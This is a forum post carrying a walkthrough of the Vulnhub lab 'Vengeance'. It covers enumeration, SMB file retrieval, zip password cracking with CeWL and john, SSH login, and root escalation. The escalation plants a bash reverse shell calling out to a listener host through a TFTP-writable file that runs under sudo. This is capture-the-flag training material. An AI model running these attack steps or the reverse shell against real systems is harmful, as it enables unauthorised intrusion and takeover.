• We just launched and are currently in beta. Join us as we build and grow the community.

digital world.local: Vengeance Vulnhub Walkthrough

sm9

Continuous Testing Engineer
S Rep
0
0
0
Rep
0
S Vouches
0
0
0
Vouches
0
Posts
70
Likes
78
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 400 XP
Donavan’s VENGEANCE (digitalworld.local: VENGEANCE) is a medium level machine designed for Vulnhub. This lab includes a difficult exploitation procedure that is suitable for those experienced CTF players that want to put their talents to the test in these conditions. So, let’s get started and find out how to divide things up into reasonable chunks.

Pentesting Methodology

Network Scanning

  • netdiscover
  • nmap

Enumeration

  • abusing http
  • enum4linux
  • smbclient

Exploitation

  • Cewl
  • john
  • SSH

Privilege Escalation

  • pspy64
  • tftp
  • netcat
  • Root Flag

Level: Medium

Network Scanning

To start, we have to use the netdiscover command to scan the network for the IP address of the target machine.

Code:
netdiscover

In this scenario, the victim’s IP address is 192.168.1.180.

AVvXsEjs9t_0oJ9ucd_4qBeEm5UgNgTsfDz81oPSuCJsleWFNjEGp9wM-3dwfqHGwLtn5S7jcwputBUxnurjLBSvZZf6zFZBAdeSN1uBu8SXflc0q4bzcPg0vlUlP9XMQfsFYtpyuLPdWajtiONwFV7XeKW_2Y5uktB3YEeSqKxWUwSwz85b5-OjdbDhPddTSg=s16000


To move further this process ahead, we are now introducing Nmap. To view all services mentioned, we need to know which ones are open so that we may proceed.

Code:
nmap -p- -sV 192.168.1.180

This system is running a variety of services, according to the findings of the nmap scan.

AVvXsEha9zRaHwstRwkNdhEgQScId13eCJOWTqy2MksPB4tmClr7bC-av8c-EtiJrPIc6a-i35dTtdwXG3zNVaUojiAGdvAYhLOv-q8JpYPG8YynHtGvOcmJ8KYVmgZx2pY3h2v3jlGmIjpr9_kgTnUwP7ku-ByiPnl4CFTO7OOwFr98m2JRsYnMfDDuq6XRMw=s16000


Enumeration

We’ll start by attempting to use HTTP. Let’s have a look at port 80 and see if anything interesting comes up. Because the Apache Server is listening on port 80, we can quickly verify this in the browser.

AVvXsEjOwTmO_SFg_oW8Ithq9kCQrY636dOBMyuzxsbOzLyUMQp5IWIL2c6TwfY664cUVfxQFsSgtnEW8GdOGMgTeMwrsC3FFknKMdtHsFywDPdznajYPl18hUcdD-HYzN2c197Ad8aCrTJ4XwaJMwDQhndMTXOG_i5vo1N29w0QIuDxcPJBAXv3ezxPmiitTA=s16000


We found difficulty with redirection to another site after looking for information on that page. As a result, we decided to take it into account as we progressed in this machine.

AVvXsEgJV3_w0h7F4_aQ8ODaSvUIel-IawzYz_VouyC9FVJafY7lYLL_s1v_PSn1SW5s4jr18JoFxer_O6TeOOM3zBCW4bjGD8SoqZRlBU-L-N8Gc2pidlJHFyK1U0Z_89ntxIsapdlEN0lP_RlbhTHbDzacn_UjJvFGldPXmSzmt9vjAmF_XZgEcqCuD8kKPw=s16000


Then, we added IP and hostname to the /etc/hosts file. To get a better route at this machine.

Code:
cat /etc/hosts

AVvXsEgi1o15oslH_e22nQQQhKUYBiRKoGrKyVjifx0LaTra6B7Ab4JbUV0Cx3tdrj9AtfbIHMs-lklqtuOeFRsAPtu2hgqMUyjOjTFtcXJHcD63Iw5pk4BJwMk68dFBQkj90xGWIxGPSHmq9SQ8DV9TayNvbUS-1MoqbkSdd01DJnV_IZ6Q9t4i7vTqpi7Vyw=s16000


Nothing was found to be trustworthy, therefore we opted to run the enum4linux script as SAMBA at 445 was running.

Code:
enum4linux 192.168.1.180

AVvXsEgjKKX8e_X2JVAbNZRmCBFilx7yR0o3xV_VNLQVGRy_mFaIlCN0qSvUVCP6C0ZIJeJFyso6cWBj9kHL6V2nlanP234T5zNUnZbNdB2kuzPZypepa-_bgV4rXaFnMddnepITHMPaiunseeoAxeyZywkf6ry4SlNCAz03IfalzZ8oyuvROpjlAXGoAZAplg=s16000


In a couple of seconds, we discovered that there is an smb shared directory available on this machine, along with their directory name.

AVvXsEhMRPuElmBpNOXDH4Bz-ZfwWwCfwFaYxlvtQpjavo2ZT8hj0LuX53gm_tFg1HUecfadz5a8d130QWyeDlUbZZ5QWwqWrYtcECD9qcCiq2FuqU4HS5mOMiYwqDUu8LGTusVtWNk1sr1GQR2MiEIBUB94wVY2CoezmwbpSzFzK--8glECpRtvnWaRuxcKSw=s16000


With the help of script, we discovered two users on this system, sara and qinyi.

AVvXsEiucjEF-sXP_ot4uWXhAk8ZBAoW0n5t3UFGrjnQu76VpvGYsPKgl68pTHNTGUPVB6FNWoFAq15vwq97H48uA3wfKuMCzbvRrlVBySdhrfb_ItYnjODMWePgn8s7ZkdQpTgdFyxPYd7YSTrJn7oebKjVJ9IyTVCS1QSVUYa4Hl15rYB1NbCN3tuHTLwv6w=s16000


Exploitation

Now we must begin our exploitation phase using the information obtained through enumeration. First, we attempt to connect to the smb using smbclient.

Code:
smbclient -L 192.168.1.180

We got the identical page that the enum4linux script gave us. As a result, we must examine these directories. There is a user named Sara, as we already know. Now, we’ll start with the sarapublic$ directory.

Code:
smbclient //192.168.1.180/sarapublic$

We found a lot of information in this directory. We used the get command to download all zip and text file into our system so that we could analyze it one at a time.

  • get eaurouge.txt
  • get eassy.txt
  • get gio.zip
  • get blurb.txt
  • get profile.txt

AVvXsEg-yCAcWZpTOsGnOS-MBM3rUlWkBqZDGIAa_DaFBCEDknhthtCzAS95NgwBFXVVxyFbP6tgpt2OD2b7NmhnicU77Culxw2XqTza_59Eb3tZ4sWTHrcj4TBhIHMtgQhcdLLVokWIbHyrZQS2rRd6RwN1uKomd28-L5oob3zU-EDfnJohU6okKS5Do7Z7pg=s16000


We discovered nothing after opening all of these text files. So we proceed with this along with additional data from the sarapublic$ directory.

AVvXsEhYLwcTt6xMIkV-r7k2r3i26n14ZhwF2lYOydHK1yTES8udMgsFEjQekLXsMB4vza0Sh5XWOczhn4irWHkvRjCV2vv9o0oN58vcTLPTYgzL8I7kAaVc0S-s9_qHulP5X54WrFzDwn2oqnfRXFiMgUPMZaiQ9Vm0h8HajWCegu8CN-l4gQb4sLkdGei3bA=s16000


We received one more file from that location, which is a zip file. However, it is password-protected, so it must be cracked in order to be analysed.

Now an idea occurs to me: we can utilize those text files to create a word list that will be very beneficial for brute-forcing. So we launched a Python http server in the directory containing all of those files.

Code:
python -m SimpleHTTPServer 80

AVvXsEh0L9YtlYUD4P6aubydmi1KFth376rhPAQp_u_Vz-dMc2qwjq5J6rmD1FZZsNXmGQpH4aNLLQGpoOCzKu2WHBq8MjNGIgCPswbJBbBSaYiDZiVmePgzNjIUg77tMEYym4HtHa72xNv9L8ATzNP9RJwND1RfBH7FnuW9DSI5pT1sJTd9QPR2ADcE3_jBOQ=s16000


Cewl, on the other hand, is used to turn those text files into a word list for brute force. We’ll start with profile.txt and then go on to add text files one at a time.

Code:
cewl 192.168.1.3/profile.txt -w dict.txt

In this system, we use locate zip2john to determine its exact coordinates.

Code:
locate zip2john

We obtained the hash of the gio.zip file using zip2john. We can now utilize our dict.txt to crack.

Code:
/usr/sbin/zip2john gio.zip > hash

AVvXsEjNiRNf911hnq5T2VkDPcrbhwQJFKqVVGRIPsQbtCtSbMfmVS8Xi5YbuS-8GpbYp4uRwZcErPjqdSnRxhJmif59zF8xHP-XNE43LXkfu_EAF7OyDgW6HQbfxjVtjXqFE8XKsHh16iyQnXYGgXti_8SmnczWIfqAbZQJHXXJ5VvL9dP33Pgfl79RTc6IOA=s16000


Because we have a dictionary and a hash value, we can utilize john to crack this hash value. Congratulations!! We obtained the password for the gio.zip file which is nanotechnological.

Code:
john --wordlist=dict.txt hash

AVvXsEikZKKLqJB9LBHasjQx6E3gc1lsuyaxJbaxOR7TL0LEyc7Qdr2iRDj70GnzCKPOKLIWzgQ_GY1sad6G7Y_PtCgTLgym1VcSZS4f6RyslN8GagMy7wY_vAYR6eEiAPi_mbnmqtdAlEF8EUnzwScfzUmVx4oBMXyxV5G6oWgoFKjCgwAq16lGIv-DNwLaJg=s16000


We now have a password that we successfully cracked using the unzip command and received three files: a txt, a png, and a pptx.

Code:
unzip gio.zip

First, we examined the png file and found nothing indicating then, we examined the text file, which contains information that appears to be a password phrase. Indicating name_corner_circuit.

Code:
cat gio/pass_remainder.txt

AVvXsEiu_cnVyISn7F0xOQmMqHPLlCnutaJMjGXIO_qzFk4K2EnbMrxtkitSYykPQ_SLeph7DWHdiLTs-eStUqkeoXMWRkrW1zblnS2A1Eakc4kCbfwqsc85clfsQ11zccZbS-JxCyNjvjQvLKcsg0iFXgB1Liot2bL7Ore8oxMUFjCOZuG8HSUUQcZH1WCxTw=s16000


After opening ppt, on the first page, we got a name, which we remembered and wrote down. According to the instructions in the pass_remainder.txt file

AVvXsEixNDxsyDFn0hZsrGQ0NhVHHJjJVuqU26fWQoOXZGv8W_MVofg2ptQ0JwFhuE7vRy7_HAqDGcqPxlDolz-7zi1fkjaAz3XG0_wvctz0ujQLZMeYPS2r1D7TJF_PvP_r95PKU3-xYODlSidrs_ol5M_96zApD6WSJT_vE3NppvDC82cma8cj7PsiYooP-A=s16000


We obtain a notice picture name given in the corner of 3rd slide. We brought all of these details with us, and we received our password (giovanni_130R_Suzuka).

AVvXsEhS9Ds9olPY8um-wzana11ukjoeWrG2wUAbcQxz711Wek6lpWu6z-pmFfLkshzIuKBU_2WHNRSKCUatzsBR8jEZqVLXU2vfyFP6ahuA5PyHhKi77tLKCPDjCPc8Ts0bonx2wG0cxoRvpI7PksppWq-FcD45wt32UCKfkgZRh7vtTqq-eNzgnEtFlUPonA=s16000


Privilege Escalation

It’s a great opportunity to start the privilege escalation procedure. We have a password (giovanni_130R_Suzuka), and we know that ssh is operating on port 22222. We also received two user names, sara and qinyi.

So, on ssh login, we begin with user qinyi.

Code:
ssh [email protected] -p 22222

We discovered that an eaurouge file is running using the sudo command, but we can’t access it because this user lacks the necessary permissions.

AVvXsEjM0CDfFkSRZVMaAmMEe8BqydlRxuntafRfsqcB2jL2YwhHsNxDIsnBz1qP7MY9VBBNpC4DXLDAm7Y6VMkYfw5Afi5ca2rQmZma6Vcm86RiUpmjzGKQSKADnjp8u8gQRyFu3MvzrBjK7n0yTVXibhSSAT-VsP3ZiwFX1nRs0HM9HUDFMWmXUquB6dDQeA=s16000


We use the pspy64 tool to learn more about this lab. It is a command-line utility that allows you to spy on processes without requiring root access. It lets you watch commands run by other users, cron jobs, and so on as they run.

We just use the wget command to download the tool from github.

Code:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

We gave it all permissions with the chmod command and ran it straight away.

Code:
chmod 777 pspy64
./pspy64

We quickly discovered that something was running on port 69. The sudo command earlier provided us with its exact location (/home/sara/private/eaurouge).

AVvXsEj_i1rQsgv16P-rEa2mIHq1dGiRu5idArvv25DWmpEUypnNbias6h6FBgfeG0TWYOH4RzGN3IcgLaCiwSd9FTuqecfHK0AjedfHbp0vhvZqh2ODWIE3n3tAPd5O4IxBLoepyfHYpuTvMwBUTYUpLzNQPUC-a0cwsOIKOX_StFGe_5jhFGAI7Zyt4hvZvA=s16000


First, we use nmap to determine whether or not port 69 is open. We discovered that it is operating the tftp service.

Code:
nmap -sU -p69 192.168.1.180

We connect to the tftp service and download the eaurouge file, which is operating in the lab’s background.

Code:
tftp 192.168.1.180
get eaurouge

We determined that we could place a reverse shell in the eaurouge file after opening it.

Code:
cat eaurouge

AVvXsEiJMcn1_7yCvNyypUIS4OY9dlPAdAYLkn6bufw82j76eYiBu3G_JdVWYXWW3EXN6fCI3Z9QF6qwTr37M_gBoPVzdYoKyufH2jewRe22wLr07AwcqPawuqL2IWYhT8Ip36ahWoPP0vYv08wZizvGQYqRHeuGJ44_BcrGweBV3sDN-F6BwPhjwD-PKivsqA=s16000


Using the nano command, we inserted our reverse shell into this file.

Code:
bash -c 'exec bash -i &>/dev/tcp/192.168.1.3/8888 <&1'

AVvXsEiY6NJgrSl9CtH9cVgX2k0kI4ZuAKOrF8gTRki4mz19TewMubYUWaQX_sTDbiybqyJ9I-P7YzeCLOGQ3Qdi0_K-S78Yyqxt5X5MseY-HsOsinfeL9Zpuc1275HrTAmiAky7aq6bD2xM_dtHfg3piNwKPXXCB7bYJBLM3xIUw7bzk4SZ-VNkZIjlP00l3g=s16000


Now, connect to the tftp service once more and upload this file to this server.

Code:
tftp 192.168.1.180
put eaurouge

AVvXsEhUXFcwcB6ybdjqC_O7c62xBdBJFyCxIPZ2cMp05_vNVrmw2cj2Vgb9DI5fwSJK0ikdQZac1MLxnQHs_meMjpN9M1gw9-uA6EIySXlUerWMigXcOQK4BfiaxMqFC9LlEc-Ofhk97wYTNvOZu3g_ytBiLmWNfJS8zif8LaozHeao4eASEIQq81jga6GMJA=s16000


Following that, we attempt to run this file from a qinyi’ user.

Code:
sudo /home/sara/private/eaurouge

AVvXsEhMoPZdKQbQm9TVU3ZB-DL_OIPtFgNPH0PeKAg8nQ9qsrcaHMjB5_eh3j3Tsred6cBE4Q8MWSv2swwkq0k8ha7yEa2xubfO4C7AYp7rPvgcUlm9dWRZEC-stMIUP4QfigS6QwWRab_4y0cKVoQE_rjXyL1bo3onLpP_aaWDchpb4VDXmL1tVev7ZXPs1Q=s16000


We activate the netcat listener on port 8888 after all of this hard work. We accomplished all of the required actions in accordance with the reverse shell.

Yippee!!! We obtained root, moved the directory to root, and obtained our Root Flag.

Code:
nc -lvp 8888
cat proof.txt

AVvXsEgei4ulE6gwWxgmPGuCFQJ1dHtlz5UV-xVYduUWnkkhGl8t5liU2GUMdN9JoZKi6bDUSExoWzOy53ZVQoPSg6UU7gsP1h85_Jr0SpaVtlKZyf9WphEa7o5GTeAB3IzdwdpvmhFla-YTUaHQienwqp7PPrZ-DAQx2A1BUSr1SmkOSqG_hXvhbVwrRYUcGg=s16000


This lab, I must say, is a pleasant activity with some challenging moves. This lab is appropriate for some experienced CTF players who wish to put their skills to the test in these environments. Donavan, you did an excellent job.

Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedInand Twitter.
 

452,292

323,341

323,350

Top